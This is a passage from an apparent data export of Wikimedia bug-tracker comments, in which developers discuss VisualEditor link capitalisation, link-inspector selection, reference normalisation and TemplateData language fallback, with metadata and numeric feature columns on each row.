+User entry ->  wikitext equivalent of desired output
+Green   ->  [[Green]]
+green   ->  [[green]]
+iPad    ->  [[iPad]]
+HAMmer  ->  [[Hammer]]
+london  ->  [[london]]
+
+Yes, this will result in some wrong captialisations, but no more than at
+present and will only be temporary (as noted above)",,,1377802682,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+240111,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors",*** Bug 53495 has been marked as a duplicate of this bug. ***,,,1377802569,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240106,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #3)
+> Are you talking about:
+> 1. Ctrl+K
+> 2. Type a lcase work
+> 3. Press enter twice
+
+Yes. For step 3, it also happens when you click on a suggestion.",,,1377594263,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+240100,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Are you talking about:
+1. Ctrl+K
+2. Type a lcase work
+3. Press enter twice
+
+because that's the only way I can reproduce, and after the first press of enter it shows you that it has capitalised the word due to autocomplete?",,,1377558575,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,1
+240094,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Yes, I can still reproduce it. Note that I'm talking about the behavior when you enter Ctrl+K and type text, not the behavior when you add a link to existing text.",,,1377175898,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+240089,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Is this still happening, Guillaume? I can't reproduce it.",,,1377173293,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0
+52446,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,"If the cursor is in a slug and you press the link button, the selection jumps to the nearest content - which crosses out of the local <p> and into the <p> beforehand or afterwards (whoops).
+
+Link inspector should detect that it is in a slug and not attempt to mangle the selection with nearestContentOffset, but just trigger with a 'blank' selection.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52256",High,80.0,1372572900,1377888669.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rxqaxhgvcsfou4tzboet,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,1
+239785,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,This was fixed by gerrit 81437.,,,1377888669,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rxqaxhgvcsfou4tzboet,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239779,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,"As a follow-up, if you have <start of document> <block slug> <block slug> <block slug> <block slug> <p> in a document, and have the cursor in the second slug, pressing Ctrl+K will move the selection to the top of the document and put the contents there (whee); in the third or fourth, to the first word of the <p>. Not great.",,,1372573764,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rxqaxhgvcsfou4tzboet,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+52444,VisualEditor: References with duplicated content are normalised away,"If you have a page like:
+
+<ref name=""foo"">Foo</ref> ...... <ref name=""foo"">Foo</ref>
+
+VE will normalize this to:
+
+<ref name=""foo"">Foo</ref> ...... <ref name=""foo"" />
+
+The contents of the second <ref> tag are obviously ignored, but we should round-trip their existence correctly.
+
+
+http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-06-30_00-52/Genetic_history_of_the_Iberian_Peninsula.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372567200,1372705872.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2ttmyole76xyfw5lxpgw,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+239704,VisualEditor: References with duplicated content are normalised away,This was fixed in gerrit 71275 by Roan.,,,1372705872,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2ttmyole76xyfw5lxpgw,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52440,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"After having saved a template on a page, and edit it again, template data for the template is visible, but any parameter used is not showing templatedata, even though it displayed it correctly when I created the template
+
+test I made on beta was {{test|name = hello}}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372554600,1384200108.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+239459,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"Think we have subsequently fixed this, probably as part of the re-write of the transclusion dialog/TemplateData link in July; marking as such. Please re-open if it recurs.",,,1384200108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,3,True,,,19,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+239453,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,Can't reproduce this bug.,,,1384198743,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,3,True,,,19,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239448,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"When I make a new template entry and open the template before I've saved the page, it looks like following:
+http://i.imgur.com/HxaU7F1.png
+
+But after having saved the page, and enter template edit again, I'm getting following:
+http://i.imgur.com/VPROUwb.png",,,1372596044,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+239442,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"(In reply to comment #0)
+> After having saved a template on a page
+
+By a template, you mean a template transclusion or the template itself?
+
+
+> and edit it again, template data for
+> the template is visible, but any parameter used is not showing templatedata,
+
+So when you edit the tranclusion with VisualEditor template data for the template is visible but not for the parameters? What does that mean?
+
+You say it is visible for the template but not for the parameters. So what is visible then?
+
+> even though it displayed it correctly when I created the template
+
+Displayed what?",,,1372557963,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+52431,TemplateData: Process language fallback and conversion server-side,"After I added the <templatedata> to [[pt:Template:Referências]], I opened a page in which it is used, setting ""uselang=pt"" and ""uselang=pt-br"" in the URL:
+1) https://pt.wikipedia.org/wiki/Arte?veaction=edit&uselang=pt
+2) https://pt.wikipedia.org/wiki/Arte?veaction=edit&uselang=pt-br
+In the first case, when I opened the Transclusion dialog (by clicking in the references section, where the template is used) the template description was shown (as expected). Typing one of the template parameters, I also get its label normally.
+
+On the other hand, for the second link the user language (pt-br) was different from the content language (pt) and the user see no description and no labels.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50888",High,80.0,1372534860,1381172295.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-uydrcj3p2rhxycgc65tn,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+238912,TemplateData: Process language fallback and conversion server-side,"Change 87724 merged by jenkins-bot:
+Implement getInterfaceTextInLanguage and use API and Parser
+
+https://gerrit.wikimedia.org/r/87724",,,1381172101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238906,TemplateData: Process language fallback and conversion server-side,"Change 87724 had a related patch set uploaded by Krinkle:
+Implement getIntefaceTextInLanguage and use API and Parser
+
+https://gerrit.wikimedia.org/r/87724",,,1381078137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238900,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #14)
+> Oh. I assumed the jQuery.i18n (or one of the other JS, MW-independent tools
+> that the Language Engineering team have built) would have this built in. Is
+> that not the case?
+
+I can't say there isn't one but I've never heard of this.
+
+BTW I also want a similar one on server side.",,,1374922596,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+238893,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #17)
+> Also, this way we can provide good values for languages that don't exactly
+> fallback but use a language converter. Which is also something that could
+> potentially be done client side, but I don't see that happening just yet.
+
+Which isn't really doable currently I guess; or it requires delivery of huge conversion tables (for Chinese).",,,1374920975,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+238887,TemplateData: Process language fallback and conversion server-side,"Also, this way we can provide good values for languages that don't exactly fallback but use a language converter. Which is also something that could potentially be done client side, but I don't see that happening just yet.",,,1374863198,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+238882,TemplateData: Process language fallback and conversion server-side,"For now this is up to the client side to handle, which realistically means it won't be handled (current language > en > nothing).
+
+
+For the future I intend to have the templatedata API take a parameter for language code and resolve it on the server side. For three reasons:
+
+* On wikis where there is more than 1 language commonly used (which is the whole point of this bug and where it is relevant, since if there is only 1 language, the wiki author can just specify { ""description"": ""Text."" } without lang-codes)..., on those wikis there will be more than 1 language defined. This will result in a large blob of JSON being transferred to e.g. VisualEditor for each template which is quite a lot of data.
+
+* Even so, it would then still require the client-side to have knowledge of all of this and process it. Which involves a lot of language data being send to the client, a lot of translations being sent to the client, and the then client having to do all the computation for it. We can solve this the same way we solved it in ResourceLoader; We'll still cache it, but fragment it by language code based on request context.",,,1374863078,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+238876,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #8)
+> (In reply to comment #6)
+> > So I'm not too Wikidata-savvy, but it seems this patch might be useful (if
+> > it's
+> > not, ignore me and carry on):
+> > 
+> > https://gerrit.wikimedia.org/r/72867
+> > 
+> > Right now there is no way to determine the real language of a message from
+> > the
+> > CDB cache. That patch changes this.
+> 
+> Not really. Labels and descriptions in TemplateData are stored in some JSON
+> blob in a customized format, rather than normal messages.
+
+Gotcha. Carry on. Sorry I couldn't help.",,,1374862510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+238872,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #13)
+> (In reply to comment #12)
+> > (In reply to comment #11)
+> > > (In reply to comment #9)
+> > > > I don't think that's a good outcome. If there isn't a description in your
+> > > > language (in this case, pt), we shouldn't magically tell you that we've given
+> > > > you a message in a different language (we don't do this for the MW messages
+> > > > framework, for instance).
+> > > 
+> > > BTW this comment means WONTFIXing this whole bug.
+> > 
+> > Why?
+> > 
+> > This is just me saying that I don't think that instead of ""Chien"", if it
+> > doesn't exist in French we should give users ""Dog -- OMG We gave you this
+> > message in English even though you asked for it in French!"", which feels
+> > significant over-kill.
+> 
+> Then I guess your point is that pt-br and pt are more similar, so falling
+> back from pt to pt-br is acceptable, while fr and en are not this case.
+
+Yes.
+
+> However technically pt-br and pt have the same relationship as fr and en,
+> or we'll have to compose some language similarity table ourselves, and manage
+> to resolve many edge cases (eg. dialects).
+
+Oh. I assumed the jQuery.i18n (or one of the other JS, MW-independent tools that the Language Engineering team have built) would have this built in. Is that not the case?",,,1374862470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+238864,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #12)
+> (In reply to comment #11)
+> > (In reply to comment #9)
+> > > I don't think that's a good outcome. If there isn't a description in your
+> > > language (in this case, pt), we shouldn't magically tell you that we've given
+> > > you a message in a different language (we don't do this for the MW messages
+> > > framework, for instance).
+> > 
+> > BTW this comment means WONTFIXing this whole bug.
+> 
+> Why?
+> 
+> This is just me saying that I don't think that instead of ""Chien"", if it
+> doesn't exist in French we should give users ""Dog -- OMG We gave you this
+> message in English even though you asked for it in French!"", which feels
+> significant over-kill.
+
+Then I guess your point is that pt-br and pt are more similar, so falling back from pt to pt-br is acceptable, while fr and en are not this case. However technically pt-br and pt have the same relationship as fr and en, or we'll have to compose some language similarity table ourselves, and manage to resolve many edge cases (eg. dialects).",,,1374859742,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+238856,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #11)
+> (In reply to comment #9)
+> > I don't think that's a good outcome. If there isn't a description in your
+> > language (in this case, pt), we shouldn't magically tell you that we've given
+> > you a message in a different language (we don't do this for the MW messages
+> > framework, for instance).
+> 
+> BTW this comment means WONTFIXing this whole bug.
+
+Why?
+
+This is just me saying that I don't think that instead of ""Chien"", if it doesn't exist in French we should give users ""Dog -- OMG We gave you this message in English even though you asked for it in French!"", which feels significant over-kill.",,,1374858682,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+238851,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #9)
+> I don't think that's a good outcome. If there isn't a description in your
+> language (in this case, pt), we shouldn't magically tell you that we've given
+> you a message in a different language (we don't do this for the MW messages
+> framework, for instance).
+
+BTW this comment means WONTFIXing this whole bug.",,,1374858103,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+238845,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #9)
+> (In reply to comment #7)
+> > (In reply to comment #5)
+> > > Fine technically - I think users would be upset and confused.
+> > 
+> > So you'll need to prepare for some interface design to tell users that ""Some
+> > text written in English"" and ""Some other text written in Spanish"" lines are
+> > not in pt.
+> 
+> Why couldn't the TemplateData just be written in the users's language?
+
+You can't expect all templatedata blocks to have labels in all hundreds of languages which MediaWiki supports.
+
+> > And the format of JSON needs to be modified to include this info.
+> 
+> I don't think that's a good outcome. If there isn't a description in your
+> language (in this case, pt), we shouldn't magically tell you that we've given
+> you a message in a different language (we don't do this for the MW messages
+> framework, for instance).
+
+We do so in Wikibase, if the user indicates that they can read another language -- in our implementation it checks {{#babel: }} currently but some global preferences here will be nice of course.",,,1374858004,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+238840,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #7)
+> (In reply to comment #5)
+> > Fine technically - I think users would be upset and confused.
+> 
+> So you'll need to prepare for some interface design to tell users that ""Some
+> text written in English"" and ""Some other text written in Spanish"" lines are
+> not in pt.
+
+Why couldn't the TemplateData just be written in the users's language?
+
+> And the format of JSON needs to be modified to include this info.
+
+I don't think that's a good outcome. If there isn't a description in your language (in this case, pt), we shouldn't magically tell you that we've given you a message in a different language (we don't do this for the MW messages framework, for instance).",,,1374857740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+238833,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #6)
+> So I'm not too Wikidata-savvy, but it seems this patch might be useful (if
+> it's
+> not, ignore me and carry on):
+> 
+> https://gerrit.wikimedia.org/r/72867
+> 
+> Right now there is no way to determine the real language of a message from
+> the
+> CDB cache. That patch changes this.
+
+Not really. Labels and descriptions in TemplateData are stored in some JSON blob in a customized format, rather than normal messages.",,,1374856941,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+238827,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #5)
+> Fine technically - I think users would be upset and confused.
+
+So you'll need to prepare for some interface design to tell users that ""Some text written in English"" and ""Some other text written in Spanish"" lines are not in pt.
+
+And the format of JSON needs to be modified to include this info. Like:
+
+{
+    ""pages"": {
+        ""1467239"": {
+            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
+            ""description"": {
+                ""pt"": { ""value"": ""Some text written in English"", ""language"": ""en"" }
+            },
+            ""params"": {
+                ""t\u00edtulo"": {
+                    ""label"": {
+                        ""pt"": { ""value"": ""Some other text written in Spanish"", ""language"": ""es"" }
+                    },
+                    ...
+            }
+            ...
+     }
